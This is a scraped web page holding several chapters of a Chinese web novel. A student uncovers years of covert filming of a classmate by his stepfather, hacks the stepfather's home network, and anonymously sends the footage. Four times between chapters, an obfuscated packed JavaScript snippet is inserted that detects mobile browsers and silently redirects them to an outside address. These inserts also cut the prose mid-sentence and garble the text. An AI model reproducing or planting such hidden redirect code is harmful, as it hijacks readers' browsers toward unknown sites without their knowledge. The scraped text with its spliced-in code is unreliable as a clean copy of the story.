;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396243|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骆绎声继续说:“尤其这份兼职,我爸问起你,你不能说。”
李明眸反应了好一会他说的“爸”,才想起来那是沈思过。
“我爸爸不喜欢这种工作,但我也有自己的生活,你理解的吧?”
“理、理解的。”
骆绎声笑了一下,摸了摸她的头,把李明眸摸得抖了一下,才说道:“谢谢你,那这个就是我们之间的共同秘密了。”
明明是个摸头的温柔动作,但李明眸莫名有一种食草动物被捕猎者摁住头的错觉。
她很配合地说:“好、好的,我不会告诉别人。”
谈话终于结束了。
骆绎声放开摸着李明眸头的手,重新坐回自己的位置,表情彻底恢复正常。
他掀开放到一边的银盅,从里面端出了一碟蛋炒饭和一杯橙色饮料,放到李明眸面前:“吃吧,我看着你吃,吃完我送你去车站。”
不是说店里没有蛋炒饭么?而且他怎么知道她点过蛋炒饭?
李明眸看着那碟蛋炒饭,肚子忍住了没响。
她坚强地说:“我不太饿,回家吃也可以。”在这里一边吃、一边被骆绎声看着,她有消食压力。
骆绎声微笑:“说好的今晚请你吃饭,结果你忙着跟踪我,都没让你吃上。我这不得补上吗?”
“好、好吧。”
现在一看到骆绎声笑,她就有一种被威胁的错觉。在莫名的压力之下,她拿起勺子,开始吃面前堆得小山一样高的蛋炒饭。
李明眸说自己不太饿,又觉得被骆绎声看着吃有压力,但她的身体倒是很诚实。
才10分钟过去,这座小山就被她吃空了。这饭不知道是谁炒的,还挺好吃。但对于那杯橙色饮料,她感到非常不满——它居然是一杯橙汁,现榨的那种。
她以为骆绎声最起码会给她换一杯度数低的酒。她刚刚看过了,这个店就只有她喝的是橙汁!
骆绎声并不清楚李明眸内心的吐槽,他坐在她对面,沉默地点燃了一支烟。
李明眸捏着那只勺子,看了他一会,又看了他一会,最后还是忍不住提出来:“你能不能别在我面前抽烟?”
骆绎声刚刚吸了一口烟,她话刚落下,他就朝她的方向缓缓地吐出了一个烟圈。
烟雾慢慢笼罩在李明眸的脸上,她开始咳嗽。
骆绎声看着她咳嗽的样子,不太有诚意地说:“抱歉,原来你不能闻烟味啊。”说完,才慢吞吞地把烟熄掉。
李明眸觉得他刚刚是故意的,有点生气,但是又没有证据。
她看着面前只剩下几口的蛋炒饭,闷闷道:“我吃饱了,我要回家!”
然后骆绎声就要送她回去。
“我觉得我可以自己回去。”她刚刚就是自己来的。
骆绎声静静看着她。
“虽然我可以自己回去……但我们一起出去,也不是不可以……”
31. 决定告知
438驶离红灯区后,进入了夜雾浓重的市区。
车窗蒙着一层朦胧水汽,从车内看出去,外面街道的灯光变成了一团团模糊、膨胀、相互晕染的色块。偶尔有车灯迎面射来,光柱在雾气中扭曲、散射,变成一片令人眩晕的白茫,短暂吞噬掉所有轮廓。
世界变得模糊不清,一如李明眸此刻的心情。
对于是否要告知骆绎声监控的存在,她有非常多考量,每一条考量都有清晰的依据和判断标准。
但是这些依据和标准,开始变得模糊了。
她本能地觉得不安全。
她之所以需要那么多清晰的依据和判断标准,不仅仅是因为在赵医生身上的失败尝试,还因为一个叫费同的遥远的人。
*** ***
费同是李明眸的小学同学。
李明眸当年读三年级,画了95幅异象画,已经明白了异象背后的寓意,知道那不是幻觉,也不是幽灵,而是当事人的秘密。
但当时她还不明白,这些秘密,不是普通的秘密,而是“痛苦的秘密”。
费同是她异象画册上的第96幅画。
就是从费同开始,她明白了那些秘密的更多含义。
在费同的异象中,他的皮肤像一块被反复蹂躏、又强行拉扯开的破败皮革,上面爬满了狰狞印记:一道道青紫色的肿胀隆起,如同皮下钻进了无数条僵死的肥大蠕虫;深褐色的陈旧疤痕则像干涸龟裂的沼泽地,边缘翻卷着坏死的死皮。
最骇人的是关节部位——那里的皮肤薄得吓人,呈现出一种半透明的、死灰般的颜色,底下扭曲变形的骨头和暗紫色的淤血脉络清晰可见,仿佛一层薄薄的、布满污秽油垢的塑料膜,勉强包裹着里面一触即溃的烂肉。
这个异象背后的含义是:费同是家庭暴力的受害者。
李明眸没有看过别人被揍得很惨的样子,所以一开始没有识别出来这个异象的含义。
就算后来知道了这是遭受暴力的异象,她也花了很长时间去理解:为什么费同身上的异象,是家庭暴力“受害者”的异象?
她之所以有这个困惑,是因为在学校里,费同是暴力的加害者,而不是受害者。
费同在学校里既不学习,也不交朋友,他花大量精力欺凌班上的其他同学,常常把其他男生揍得鼻青脸肿,谁都管不住他。
后来费同和他爸爸搬到了李明眸的小区,李明眸才发现,费同对班上同学做的,就是费同爸爸对费同做的——并且他爸爸做得过分很多倍。
她很同情费同,因为大人打小孩是不对的,没有人应该挨揍,况且小孩没有还手的能力。
她觉得费同对班上同学做的,都是他对自己父亲的模仿,这不是费同的错。
她尝试阻止他爸爸对他的暴力——但失败了。
当时她在小区门口等到费同,告诉对方,她知道他爸爸打他的事情了。
她在妇联的官网上查询了,还打电话问了居委会,她说大人会管这些事情,让他不要害怕。
费同当时就吓疯了,他往她肚子上挥出一拳,把她砸倒在地上,还要继续打她,被路过的大人拉了开来。
回到家之后,她被打了几拳的肚子一阵阵地抽痛,最后吐了出来,身上的淤青一个礼拜都没消下去。
就像费同身上的异象。
大人们问费同为什么要打她,费同说,因为看她不顺眼,下次看到她,他还要打她。
姨妈又愤怒,又心痛,让她不要害怕。
但李明眸不怎么害怕,因为她知道,费同比她更害怕。
她知道费同是因为害怕打的她——他突然变化的异象是这么说的——但她不知道他为什么害怕。
过了一两年,她才明白了费同害怕的逻辑:
一个正常人,是没法在家庭暴力中呆很久的。一个正常人被打,要么会想办法逃走,要么会想办法还击。只有这两个结局:被打的人跑了,或者这两人中死了一个。
如果一个人可以在家庭暴力中待很久,他的想法必然已经被扭曲了,他会潜意识认为,强者欺凌弱者是天经地义的。只有认可这条规则,他才能接受发生在自己身上的事情,并长久地在暴力环境待下去。
费同在学校欺凌他人,是因为在学校里,他是强者;而在家里,他是弱者,所以他被父亲欺凌——这一切都符合“强者欺凌弱者是天经地义”的这条规则。
当李明眸提出要让其他大人来帮助他时,他真正感受到的不是“被帮助”,而是一种威胁,“现在他们知道我是弱者了,会有更多人来欺凌我”。他感到羞耻和危险。
他害怕自己作为弱者的处境被发现,并厌憎指出了这一点的李明眸。为了抵御自己的恐惧,他决定把李明眸变成弱者——他要在她身上感受自己很强,弥补他被夺走的尊严。
从费同身上,李明眸补全了关于异象的最后一个认知。
她从前只以为,异象就是一个人的秘密。
后来她明白了,异象是一个人最不愿意告知他人的秘密。
是她看了也绝对不能说出来的秘密。
廉价的同情心无法帮助任何人,说出来也只会加重对方的痛苦和扭曲。
所以在看到骆绎声身上的异象时,她一直觉得,一定要等到信息足够清晰,再去决定怎么处理。
这些信息要到什么程度,才算足够清晰?她从前有非常多考量,每一条考量都有清晰的依据和判断标准。
但是这些依据和标准,开始变得模糊了。
情况变得危险。
*** ***
李明眸的脸颊贴在冰冷的车窗上,呼出的气息在玻璃上凝结成一小片更浓的白雾,模糊了本就不清晰的视野。
她看着窗外流动的、失焦的、暧昧不明的夜色,心绪沉浮在混沌的涡流里,被无数个“为什么”和“怎么办”纠缠撕扯,找不到一个清晰的落脚点。
骆绎声原本只是一个符号,一个有着裸体异象的、好看的同龄异性。
但慢慢的,这个符号生长出了具体的内容:他学习很好,他跳舞很认真,他说话总是模棱两可,他待人看似敷衍但好像又很用心。
他还有一些不知真假的、莫名其妙的对钱的执着。
他对李明眸笑过很多次,安慰的笑,威胁的笑,被气到的笑。
还有他不笑也不说话时的侧脸,有看着很沉静的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396244|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时候,也有看着很冷峻、难以接近的时候。
当这个符号变得越来越具体时,李明眸不得不承认,他对她变得有点特别。
就像她偶尔会在小区里喂流浪猫,大部分流浪猫对她来说,都只是流浪猫。
但喂的次数多了之后,她不知不觉就知道了其中几只猫的特性和喜好,然后这几只猫,就变成了独一无二的猫。
骆绎声也从一个符号,变成了一个具体的人。
李明眸做过这样一个决定:无论发生什么情况,她都不应该干涉别人的异象。
但在《人工智能开发史》与骆绎声重逢的时候,她就开始有一点预感:也许她会越来越难冷静地去考察骆绎声的情况。
直到今天晚上,她跟骆绎声一起走出红灯区,在公交站等车,骆绎声对她说出那句提醒的话时,她做出了一个新决定。
她决定把监控告诉骆绎声。
其实她不确定的问题还是很多:骆绎声真的对监控知情吗?如果知情,为何他表现出什么都不知道的样子?
这跟他的妈妈骆颖有关吗?
如果他本来就知情,她告诉他监控,又对他有什么影响呢?
可是骆绎声也对她的情况不知情。他大概也有很多不确定的问题,但他还是选择告知她,“不要靠近沈思过”。
明明告知她这件事情,对他没有益处,只有风险:因为他必须跟对方解释,为什么沈思过是危险的、不可靠近的。
如果他对监控知情的话,沈思过的危险,本身就是他竭力想要保守的秘密,他不会想告诉任何人。
但他还是冒着风险提醒了她。
所以她在想,自己是否也不应该计较这么多得失和安全呢?
万一他不知道监控的存在呢?
骆绎声身上的情况,甚至已经涉及刑事犯罪了,无论里面有怎样的内情,人都不应该如此对待他人。
而每个看到这个情况的旁观者,也都应该有阻止或者告知的义务。
思绪如拨云见日,渐渐清明。438路公交车碾过朦胧夜色,终于抵达了幸福站。
车门“嗤”地打开,李明眸踏下站台。清冽的空气扑面而来,瞬间涤净了车厢的沉闷,视野也随之豁然开朗。
昏黄的路灯光线变得稳定而清晰,将站台的水泥地照得纹理分明,连缝隙里积存的几片落叶都看得清清楚楚。
李明眸下意识抬头——笼罩城市的浓雾已悄然散尽,深蓝的天幕之上,点缀着漫天繁星。
那些微光,穿越几十亿光年的时空而来,或许源头早已湮灭,却依然执着地将亿万年前的闪烁,传达到此刻她的眼底。
这穿越生死与时空的辉光,本身就是宇宙的奇迹。
就在这浩瀚星光垂落的瞬间,她心底最后一丝犹豫,也被彻底照亮和蒸发。
一个决定清晰无比地浮现:即使情况并未明朗,她也想告诉骆绎声监控的存在。
她应该告诉他。
她必须告诉他。
李明眸重新低头,看着这些星辉给如薄纱般洒落,给这座城市的轮廓镀上了一层清晰银边。
她挺直脊梁,再无半分犹豫,朝回家的方向走去。
32. 不许靠近他
在送李明眸去车站的路上,骆绎声终于把异象画还给她,她松了一口气。
随后两人一路往前走,李明眸走在前面,骆绎声跟在她后面几步远的地方。
这样走出一段路后,李明眸忍不住回头问他:“你离岗这么久可以吗?你回去上班吧……我认路的。”毕竟“跟踪”过他好几次。
骆绎声简洁地解释:“调班了。”然后他没再说别的,还是那么沉默地跟在李明眸身后。
李明眸发现,骆绎声不说话的时候,表情还挺冷峻的,跟他在学校温柔绅士的样子相差甚远。
这样的两面派,身上的异象竟然是裸.体,而不是跟沈思过一样的画皮或者面具。
想着想着,她不小心撞到了旁边醉醺醺的大叔。
大叔摇摇晃晃的,身上酒味很重。他睁大朦胧的双眼,看着李明眸,问道:“多少钱啊妹妹?你这打扮真像大学生。”
她还没来得及说话,就被骆绎声扯到了身侧。他站在李明眸旁边,紧紧搂住她的肩膀,冷冷地看着大叔。
大叔莫名地打了个冷战,然后又摇摇晃晃地走了。
就在被骆绎声搂住的那一瞬间,李明眸就完全把大叔忘掉了。她缩在骆绎声的怀里,一动不动,像一只僵死的青蛙。
这个距离……她又开始感受到他身上那股散发出来的体温了,暖暖的。她的脸被烘得很热。
没等李明眸胡思乱想出什么,骆绎声就放开了手。
他这次没有回到李明眸的身后,他特意走到靠马路的一侧,跟李明眸隔着两步远的距离,走在她的隔壁。
李明眸突然觉得,骆绎声还是挺统一的,比如这若隐若现的温柔。
这样的人,虽然脾气偶尔差一点,还有所隐瞒,但也许并不是什么两面派吧。
两人一路沉默,沿着坡道往下走。坡道两边的建筑密集而局促,霓虹灯照在路过的醉鬼身上,交织出一片光怪陆离的景象。
出了逼仄的坡道后,438的公交站牌遥遥地亮了起来。
看着目的地快到了,乘着骆绎声的那一点点温柔,她鼓起勇气,问出了自己今晚进去夜店的目的:
“今天傍晚一起吃饭的时候,有人给你发信息……不是我偷看的,你手机信息弹了出来……
“那条信息里说的那个盯你的人,他是谁?”
她期待地看着骆绎声,希望他能说出点怎么来。
但是骆绎声斜视着她,反问了一句:“不就是你吗?”
是她吗?
虽然已经有所猜测,但听到这个明确答案的时候,李明眸仍然觉得震撼:竟然真的是她吗?
那她今晚岂不是自投罗网?
她不太甘心地追问:“你觉得会不会有那么一种可能,除了我之外,还有别的人在盯你?我……我只是个粉丝,没那么专业。”所以才会被你们捉到。“变态都很专业。”所以沈思过没被人发现。
骆绎声沉默一会,慢慢笑了起来:“你很希望我被变态盯上?”
李明眸的背脊一下挺直了,心里毛毛的。
她在发毛的感觉中强自忍耐,坚持打量骆绎声的脸色,发现他好像是气笑了。
再打量一会……
确实是气笑了。
这番话似乎只是引发了他的怒气,却没有引起他相应的怀疑。
是她暗示得不够明白?
还是他真的一点都没怀疑过沈思过,他身上的裸体异象有别的理由?
李明眸回忆着自己学过的微表情知识,又打量了骆绎声一会,想着能不能看出些什么来。
然后她看到骆绎声的笑容正在变得越来越灿烂。
她打了个冷颤,臊眉搭眼地收回视线,不再看他了。
好像是看太久了?
两人又往前走了一会,李明眸故意往路两旁的灯牌看,视线离骆绎声远远的,以撇清嫌疑。
然后她听到骆绎声突然跟路边的一个路人聊了起来。
那个路人好像是夜店的客人,问他今天怎么下班这么早,要不要一起去酒店喝酒,她可以请客。
骆绎声婉拒道:“不了,女朋友来看我,我陪陪她。”
路人盯了李明眸一会。
李明眸被盯得莫名其妙,等她反应过来“女朋友”说的是自己后,路人已经转身走了。
李明眸看着路人的背影,又看了骆绎声一会。
良久后,她说:“我看你也不是想跟客人去酒店,做这种工作你不担心吗?可能真的会遇到变态……”她还没放弃说服他有变态的事情。
“而且不是常常有那种报导吗,大学女生去夜店工作,一开始只是做服务生,后来就下海了……”
骆绎声:“……”
当李明眸说到“虽然你是大学男生,但是……”的时候,骆绎声终于打断她。
“给我加分吧李明眸。”他突然说。
李明眸的循循善诱戛然而止。
“给我加到100分吧,我想要那个陈凯云奖学金,有3万呢。”
她苦恼问道:“你真的那么需要钱吗……你要钱来做什么?”
骆绎声漫不经心:“没什么,我就是爱钱。”
经过天人交战后,她艰难地说:“我不能给你加分,这是不对的……这对别的同学不公平。
“但是我可以给你补习……我们可以一起争取明年的奖学金,有个国家一等奖学金,那个比陈凯云多2万,你可以……”
她话还没说完,隔壁就传来“噗嗤”一声。
她茫然地转过头:“你是在笑吗?”她刚刚很认真。
骆绎声严肃地说:“我没有,你听错了。谢谢你的帮助,我很需要那5万的国奖学金。”
李明眸将信将疑时,两人终于来到了438公交站。公交站换了个广告背景,广告屏上是一望无际的绿色草原。
明明是很漂亮的海报,像一望无际的绿色的海。但在周围的光怪陆离衬托下,这片草原显得如此虚假和格格不入,仿佛是两个世界被生硬拼接在一起。
骆绎声陪她在公交站等车,看着这个广告背景,解释道:“我想要很多钱,买一片这样的牧场。”
他话刚说完,一群黑白相间的奶牛就出现在那片草原上,刚刚还十分优雅的画风突然变庸俗了,也变得跟周围相衬起来。
李明眸看着那群傻乎乎的奶牛,第一反应是:这是一个玩笑吗?
然后她看骆绎声的表情,发现他表情很认真。
但是他刚刚取笑她的时候,表情也很认真。
她将信将疑地研究骆绎声表情时,她的手机响了起来——是宋教授。
刚接通电话,宋教授就在电话里幽怨地说自己还在加班,问李明眸和骆绎声结束了约会没有。
虽然他们没有在约会,但是确实还在一块……
她看向隔壁的骆绎声,发现他很认真在听自己打电话。
宋教授又说起电力控制系统逆向工程的事情,絮絮叨叨抱怨了许多工作细节。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396245|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李明眸以自己正在社交为由,挂断了宋教授的抱怨。
她感觉再听下去,宋教授就会提出让她加入弗雷娜号的修复团队了。
电话挂断后,没有人再说话。骆绎声陪着李明眸等车,没有离开。
两人沉默着,在他们身后,从他们刚刚离开的街区,那里传来隐约的鼓点声、断续的哄笑和引擎的轰鸣,经过长街的过滤,只剩下沉闷的嗡嗡背景音,如同城市沉重的心跳。
在沉闷的夜风中,骆绎声突然开口:
“沈思过是不是很关注你?如果他邀请你加入弗雷娜号相关的项目,无论是什么项目,都不要答应。”
他的语气平淡无奇,也没有什么警示的意味,仿佛只是在说一件很平常的事情。
远处的鼓点声骤然变得高昂,李明眸的心跳也随之变快。
她没想到,自己调查了一个晚上,搞出无数乌龙,也没有得到答案的问题,就这么骤然揭露了一角。
她转头定定看着骆绎声,尽量让自己的语气显得平静:
“为什么阻止我?你发现了哪里不对劲吗?你担心我靠近沈思过会变得不幸?”
他沉默不语。
李明眸突然明白过来:傍晚他约她的那顿饭,根本就不是为了所谓的加分,他只是想迅速带她离开那里。
他听到了他们的谈话,他觉得不能让李明眸和沈思过继续呆着。
推断出这个信息后,在骆绎声的沉默中,李明眸开门见山地问:“你为什么照顾我?还有你刚刚叫沈思过名字了,你不是一般叫他‘爸’吗?”
骆绎声终于回她:“你问题还挺多。我问你那本画册的问题,你一个都没认真回答,你倒对我很好奇。”
他斜视她:“而且我没有特殊照顾你,你不要太自恋。”
李明眸毫不羞愧,又很认真地反问了一句:“不是特殊照顾,就是你对所有人都会这样的意思吗?”
“你可以这么理解。”
她想了一下,认真作出结论:“你是一个好人。”
骆绎声:“……”
就在李明眸想继续说什么时,一盏昏黄的车灯由远及近,照在他们身上,并且正在变得越来越亮——438到站了。
车门缓缓打开,发出干涩的摩擦声。
李明眸背对着那扇车门,她就那么看着骆绎声,没有上去。
司机在车上催促着:“上不上?末班车了!”
骆绎声越过李明眸,对司机喊了一声:“上,您等等!”
然后他握住李明眸的双肩,把她180度转了个身,让她朝向车门:“回去吧。”
李明眸犹豫一下,最后还是上了车。
车门即将关上的时候,她听到骆绎声在她身后说:“以后别再跟着我了,这种地方不安全。”
李明眸回过头去看。
438已经缓缓驶离,褪了色的招牌和紧闭的卷帘门在她两侧缓缓后移,偶尔有迟归的醉汉歪斜着身影,在车灯的光影里拖出长长的、摇晃的轮廓。
她用力扒着车窗向后望去。
她看到骆绎声还站在原地,又点燃了一根烟。他的脸在烟光中明明灭灭,看不清表情。隔壁来了一个等车的女人,跟他搭讪,他一句话也没搭理。
女人尴尬离开,空荡荡的车站又只剩下他一个人。
她看着他的身影渐渐变得模糊,隐入夜景。
然后,她在颠簸的车厢里,迎着灌入的冷风,作出了一个决定。
33. 楚门的世界
告知监控的念头已定,下一步,便是如何开口。
李明眸不打算直面骆绎声——过去的教训足够深刻,她学会了谨慎。
她需要这样一种方式:既能让对方明白真相,又能将自己藏匿于安全的阴影之下。
一封匿名的邮件,是一个不错的选择。
而最具说服力的证据,莫过于附上那些来自他房间的监控录像本身。
让画面替她说话,让骆绎声亲眼目睹自己囚笼的形状,这比任何言语都更直白。
然而,获取沈思过电脑里的监控录像,意味着再次挑战那道坚固的堡垒。
上次徒劳的尝试历历在目,沈思过的防御系统曾让她无功而返。这一次,也绝不会轻松。
但,她窥见了一丝缝隙。
昨天宋教授絮叨弗雷娜修复号时,无意间透露了一个信息:因为交情匪浅,办公室又很近,沈思过几乎将所有与技术沾边的事务——上至弗雷娜号的复杂信息系统,下至办公室电脑的维修——都托付给了宋教授和他的团队。
那么,沈思过家那座令人生畏的网络堡垒,是否也出自宋教授之手?如果是……李明眸的心跳快了一拍。
只要她能接触到宋教授的代码,那把看似无解的锁,就有了撬动的可能。
*** ***
次日清晨,她比以往提前一小时踏入海大。
宋教授见到她,眼睛一亮,像抓住了救命稻草:“你这是听了昨晚我的抱怨,决定来帮忙了?要加入我们的团……”
“不。”李明眸拒绝得斩钉截铁,没有丝毫转圜余地。
没等宋教授露出失落的表情,她就说了下去:“不过,你昨天说的那个配电板逆向工程的问题,我可以帮你解决。”
宋教授失落的表情变成了狂喜。
然后她就得到了宋教授电脑的操作权限。
她故意放慢速度,磨蹭了一会后,宋教授果然无聊,找了个借口,说要出去上厕所。
她不动声色说“好”,宋教授前脚离开,她后脚就打开了他的项目文件夹。
她以为自己要花一点时间检索,毕竟她也不能确定,沈思过家里的网络防御系统是不是宋教授做的。
然而,刚点开宋教授那密密麻麻的文件夹,一个醒目的名字就跳了出来,它甚至是彩色的:“老沈家安保系统(绝密勿动!!!)”。
李明眸:“……”
她默默点开这个项目文件,发现宋教授十分心大,竟然直接把密钥和白名单规则放在代码备注里了。
一股荒谬感涌上她的心头:这……就是那座坚固的堡垒?
她一直觉得沈思过家里的安保系统很夸张,因为一旦她尝试入侵,就会弹出很多警告,显示她的真实ip要暴露了。
但她看完宋教授的代码,她才发现,自己被骗了。
宋教授根本没花心思写追踪入侵者的代码,他写的是在对方电脑强行弹出警告框的代码,并且这个弹出框可以无视对方的所有防火墙。
这是一条彻头彻尾的空城计,专门骗聪明人。
李明眸:“……”
宋教授抹着嘴回来的时候,看到李明眸的脸色,愣了一下:“你这脸色,你是在生气吗?我就出去喝了杯咖啡……”
李明眸没搭理他,迅速做完了电力控制系统逆向工程的解析,然后就走了。
呆久了徒增恼怒。
*** ***
搞明白了宋教授的代码逻辑后,一切都水到渠成。
当晚李明眸回到家,没理那些警告,只花了一个半小时,就破解了沈思过家里的网络防御。
不费吹灰之力。
果然家庭网络就只是家庭网络。
侵入沈思过的个人电脑后,她复制了他存放监控录像的硬盘,得到了8975条监控录像,时长总计525976分钟。
8975个视频分布在9个文件夹里,分别是“2017年”、“2018年”、“2019年”、“2020年”、“2021年”、“2022年”、“2023年”、“2024年”、“2025年”。
她的手微微发麻,随意打开一个文件夹,然后她看到在浴室里刷牙的骆绎声、在客厅里吃早餐的骆绎声、在房间里看书的骆绎声、在玄关穿鞋准备出门的骆绎声……
摄像头布满这栋建筑的每个地方,每一个摄像头都对准骆绎声的脸。
她想到那从“2017年”命名到“2025年”的文件夹,打了个寒颤。
她打开2017年的最早的视频,看到了一个羞怯的、局促的少年。少年抱着一个篮球,穿着短袖短裤,身高只到两个大人的胸口。
是14岁的骆绎声。
对着这8975个视频,李明眸心情沉重。
她把每个年份的文件夹都打开,浏览完之后,沉重的心情又变得茫然。
因为这些视频呈现出来的,竟然是看似完全正常的家庭生活:沈思过、骆颖、骆绎声三人有说有笑,相处得还算融洽的样子。没有人做出过分的举动,所有人都看起来很正常。
只从监控录像看的话,这似乎是一个正常的家庭,没有任何需要她警示的问题——除了监控录像的存在本身。
李明眸担心自己有遗漏,还让安琪也帮忙整理了一下,结论并没有什么不同:这三个人似乎真的没有发生过冲突。
而且骆绎声大部分时间都是睡在床上的,他似乎只是在衣柜里放了一个床铺,但几乎不在那里睡——之前是李明眸判断错误了。
这些监控录像中的家庭生活细节,和睦到有些诡异。唯一不和谐的地方,似乎也是她想象出来的。
但是一起生活9年,不可能从来没发生过冲突吧?
她正细细琢磨的时候,安琪提醒她,在这系列文件夹里,有一些日期是空缺的——这些视频是按照时间顺序排列的,但是里面有大约三分之一的日期,是空缺的。
这些日期的监控,被删除了。
她特意点开被删除视频的前后日期看了一下,发现三个人都看起来很正常,没什么变化。仿佛那些被删除的日子里,什么特别的事情都没有发生。
又或者是,冲突的画面都被故意删除了,只有宁静和谐的画面能留下来。
这个念头让她想到《楚门的世界》:节目组想开发一个真人秀,从婴儿开始培养一个真人秀明星,这个被选中的主角叫楚门。
楚门以为自己生活在一个真实的世界,但其实他就读的学校、就职的公司、生活了二十多年的小镇,都只是电视台的置景。就连他的父母、妻子、朋友,都只是应征而来的演员。
节目组通过控制楚门遇到的所有人和事物,来决定楚门
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396246|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成为一个怎样的人。
就像沈思过的素材剪接:删掉不想要的,留下想要的,最后呈现出来的世界,就是“主”期望的世界。
楚门在自己的人生进行到一半时,才发现自己的生活是一场巨大的真人秀。
骆绎声呢?他知道自己生活在一场真人秀里吗?
李明眸在安琪的帮助下,检索完了这8975个视频,在这些视频里面,骆绎声从未表现出知道镜头存在的样子。
他似乎是不知情的。
这是骆绎声人生的九年,从14岁到23岁,几乎占据了他人生中一半的时间。
她看着不同年纪的骆绎声在镜头前发呆失焦,仿佛能看到沈思过透过这些镜头凝视骆绎声时的眼神——那是一种怎样的审视、掌控,还是别的什么?
一股刺骨的寒意从心底升起,她心中沉重,犹如坠着一块铁石。
最后她在这8975条视频中,找出了65条有指向性的片段。
她刻意选择了不同的时间节点、不同的房间场景,确保画面清晰地展示出每一个摄像头的存在和角度——她必须让骆绎声明白,这不是偶然的偷拍,而是全方位、无死角的长期监控,并且能清晰地对应到具体的时间和地点。
将这65条片段压缩到附件里后,她在邮件正文的输入框里,陷入了长久的沉默。
她的指尖在键盘上起起落落,打下一行行解释、提醒、警示……又一遍遍删掉。
她不知道该怎么开口,解释显得苍白无力,提醒又怕暴露自己。恐惧和一种难以言喻的愧疚感交织着。
最终,她删光了所有冗长的文字,只留下最冰冷、也最核心的一句:
“屋子的主人在监视你。”
这句话足以说明性质,划清界限——这不是威胁,不是恐吓,只是一个真相告知。
光标在发送键上方悬停了许久。她在邮件对话框里耗费的时间,竟远远超过了攻破沈思过那座“堡垒”的时间。
窗外的夜色浓得化不开。
终于,在周三的22:59,她深吸一口气,指尖带着一丝不易察觉的颤抖,按下了“发送”。
在下一分钟,骆绎声应该就要睡下了。
她在看监控录像的时候发现,每天到了23:00,他房间的灯就会熄灭,既不会早一分钟,也不会晚一分钟。
邮件到达他邮箱的时候,他或许已经平躺在床。他将沉沉睡去,度过这最后一个安静的夜晚。
李明眸侧躺着,凝望窗外高悬的明月,想象它照耀着骆绎声的睡床。
她就这么看着月亮,失眠了一个晚上。
明天。
骆绎声会在起床后,像往常一样查看消息和邮件。然后,他会看到它。
他可能会回邮件,质问她很多问题。
下午还有一节补上的《人工智能开发史》,她会在课堂上看到他。也许他会坐立不安,充满戒备。也许……他根本不会出现。
再然后,去找宋教授交学生签到表时,或许她会听到宋教授压低声音跟她说八卦:“哎,老沈家好像闹翻了……”
……
……
她设想着各种可能性,心里乱糟糟的,跟跑马灯一样。
直到月亮隐没,天际透出第一抹灰蒙蒙的亮色,她才感觉自己眯了一会,仿佛是睡着了。
34. 诡异日常
意识像沉在浑浊水底的石头,被一股无形的力量猛地拽回水面。
李明眸倏地睁开眼。
窗外的天空已是大亮,新的一天已经到来。她僵硬地躺着,等待灌了铅的沉重身体缓缓复苏。
睡着前的记忆,碎片般涌入:闪烁的代码流、65个视频片段、冰冷的邮件正文、悬停的光标,按下“发送”时指尖细微却清晰的震颤。
以及随后漫长的失眠。
她记得自己睁着眼睛,看着天花板在黑暗中被晨光逐渐照亮。
她不确定自己是否真的睡着过,或者只是意识在极度疲惫的浅滩上短暂搁浅了一会儿。
她从床上坐起,虽然身体沉重,却没感受到一丁点通宵未眠应有的萎靡感。
取而代之的,是一种奇异的、近乎亢奋的清醒。
她机械地洗漱穿衣,走到公交站,排队踏上438,来到学校,开始上课。
在这种亢奋的清醒中,她严格遵守着往日里会做的一切事情,思绪却像脱缰的野马,反复冲撞着同一个问题:他看到了吗?
骆绎声在看那封邮件吗?
他会怎么样?
对李明眸而言,上午的课程变成了一个机械的程式。
她坐在教室里,摊开书本,目光落在教授翕动的嘴唇上,耳朵捕捉着那些熟悉的术语和公式,但信息如同流水穿过筛网,没有留下任何痕迹。
教授的声音忽远忽近,她的笔记也记得断断续续,字迹潦草得连自己都难以辨认。
她握着笔发呆,清晰看到教室里细微尘埃在光线中浮动的轨迹,听到窗外遥远的车流声,以及自己血液在血管里奔流的微弱鼓噪。
突然间,讲台上的教授点到了她的名字,“李明眸……你有收到……”
